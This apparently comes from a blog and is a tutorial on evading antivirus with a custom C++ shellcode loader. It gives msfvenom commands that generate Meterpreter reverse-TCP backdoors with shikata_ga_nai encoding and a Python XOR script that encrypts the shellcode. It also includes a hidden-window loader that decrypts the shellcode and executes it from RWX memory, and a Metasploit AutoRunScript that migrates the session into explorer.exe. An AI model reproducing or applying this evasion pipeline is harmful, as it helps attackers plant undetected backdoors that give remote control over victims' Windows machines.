XOR CPP 2024
Goals :
The goal here is to be able to manually get in and understand some of the underlying fundamentals of malware development.
Firstly, i decide to create backdoor using msfvenom using this command to clarify how many AV detected this payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=9500 -f exe > TCP_9500.exe
Above generated backdoor was quickly detected by most AVs
The effective way to bypassing AVs, we can create custom loader coded in C++ took the shellcode, which is encrypted with XOR cipher. XOR compares two input bits and generates one output bit. The logic is simple. If the bits are the same, the result is 0. If the bits are different, the result is 1.
Passed the output file through the XOR cipher to get the XORed shellcode which we can loaded to loader.cpp file.
Stageless Payload
msfvenom -p windows/x64/meterpreter_reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=eth0 LPORT=9500 -f raw -o reverse_tcp_9500.txt
To avoid detection by anti-virus software, We had to use an encoder while generating the payload. We created a stageless payload because it can reduces the payload being detected at runtime.
x86/shikata_ga_nai (in Japanese it means nothing can be done about it), This encoder implements a polymorphic XOR. An encoder attempts to overcome detection by AV, network intrusion detection, and keep characters that can cause a crash of the victim out of the payload, like null bytes.
This encoder offers three features that provide advanced protection when combined :
- First, the decoder stub generator uses metamorphic techniques, through code reordering and substitution, to produce different output each time it is used, in an effort to avoid signature recognition.
- Second, it uses a chained self modifying key through additive feedback. This means that if the decoding input or keys are incorrect at any iteration then all subsequent output will be incorrect.
- Third, the decoder stub is itself partially obfuscated via self-modifying of the current basic block as well as armored against emulation using FPU instructions.
With the payload saved in the TCP_4444.txt. We can pass this through a simple python script that will run the XOR encryption through this output and spits out the encrypted version of the shellcode.
Saved as XOR.py in our case, that we use to encode the raw shellcode
# !/usr/bin/env python2
import sys
KEY = 'x'
def xor(data, key):
key = str(key)
l = len(key)
output_str = ""
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
output_str += chr(ord(current) ^ ord(current_key))
return output_str
def printCiphertext(ciphertext):
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
try:
plaintext = open(sys.argv[1], "rb").read()
except:
print("File argument needed! %s " % sys.argv[0])
sys.exit()
ciphertext = xor(plaintext, KEY)
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
The key that use in this XOR.py as it will come in handy later
python2 XOR.py reverse_tcp_9500.txt > xor_output.txt
Sample output, copy :
This output is copied and pasted in the loaderxor.cpp. The code for loaderxor.cpp:
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
ShowWindow(GetConsoleWindow(), SW_HIDE);
char b[] = { };
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
}
GuiTricks :
WinMain : is a function which compiler gui is looking for, the GUI program need WinMain
Console : function need main function
#include <windows.h>
#include <iostream>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrenInstance, LPSTR lpCmdLine, int nCmdShow) {
ShowWindow(GetConsoleWindow(), SW_HIDE);
char b[] = { };
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
}
In the long time after the connection has been made, it died and deleted on port 9500, we expected from this since this method is old.
Solution 1 – Migrate to another process
One trick we can try is to hide from the AV by migrating the meterpreter process to another benign process – e.g. to explorer.exe or svchost.exe – as soon as possible.
msf6 exploit(..) > set AutoRunScript "migrate -n explorer.exe"
msf6 exploit(..) > run
Comments
Post a Comment